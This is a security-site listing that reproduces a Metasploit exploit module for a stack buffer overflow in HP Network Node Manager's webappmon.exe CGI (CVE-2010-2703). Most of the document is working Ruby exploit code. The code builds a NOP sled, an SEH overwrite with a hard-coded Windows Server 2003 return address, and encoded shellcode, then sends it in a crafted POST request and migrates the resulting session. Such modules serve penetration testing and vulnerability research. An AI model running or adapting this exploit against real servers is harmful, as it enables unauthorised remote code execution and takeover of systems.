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HP NNM CGI webappmon.exe execvp Buffer Overflow

HP NNM CGI webappmon.exe execvp Buffer Overflow
Posted Mar 23, 2011
Authored by sinn3r, Shahin | Site metasploit.com

This Metasploit module exploits a buffer overflow in HP NNM's webappmon.exe. The vulnerability occurs when function "execvp_nc" fails to do any bounds-checking before strcat is used to append user-supplied input to a buffer.

tags | exploit, overflow
advisories | CVE-2010-2703, OSVDB-66514
SHA-256 | bf5a083c853de0a9689a85f8964a561ceaf21211433507a6060dcd2fcafba338

HP NNM CGI webappmon.exe execvp Buffer Overflow

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##
# $Id: hp_nnm_webappmon_execvp.rb 12086 2011-03-23 03:38:46Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh

def initialize(info={})
super(update_info(info,
'Name' => "HP NNM CGI webappmon.exe execvp Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow in HP NNM's webappmon.exe.
The vulnerability occurs when function "execvp_nc" fails to do any bounds-
checking before strcat is used to append user-supplied input to a buffer.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 12086 $",
'Author' =>
[
'shahin <shahin[at]abysssec.com>',
'sinn3r',
],
'References' =>
[
['CVE', '2010-2703'],
['OSVDB', '66514'],
],
'Payload' =>
{
'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "\x7f",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' => {'BufferRegister'=>'ECX'},
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
'AutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Server 2003 Ent', {'Ret'=>0x5A30532D} ],
],
'DisclosureDate' => "SEP 6 2010"))

register_options(
[
Opt::RPORT(80),
], self.class)
end

def exploit
nops = make_nops(1000)*10

sploit = nops[0, 5455]
sploit << generate_seh_record(target.ret)
sploit << "\x61"*13
sploit << "\x51"
sploit << "\xc3"
sploit << nops[0, 57]
sploit << payload.encoded
sploit << nops[0, 10000-sploit.length]

post_data = "ins=#{sploit}&sel=#{sploit}&app=#{sploit}&act=#{sploit}&arg=#{sploit}&help=#{sploit}&cache=1600 HTTP/1.1"

connect

print_status("Sending malicious request...")
send_request_raw({
'uri' => '/OvCgi/webappmon.exe',
'data' => post_data,
'version' => '1.1',
'method' => 'POST',
'headers' => {
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' => 'en-us,en;q=0.5',
'Accept-Encoding' => 'gzip,deflate',
'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Keep-Alive' => '300',
'Connection' => 'Keep-Alive',
'Cache-Control' => 'max-age=0',
'Content-Length' => post_data.length,
'Content-Type' => 'application/x-www-form-urlencoded',
}
}, 3)

handler
disconnect

end
end
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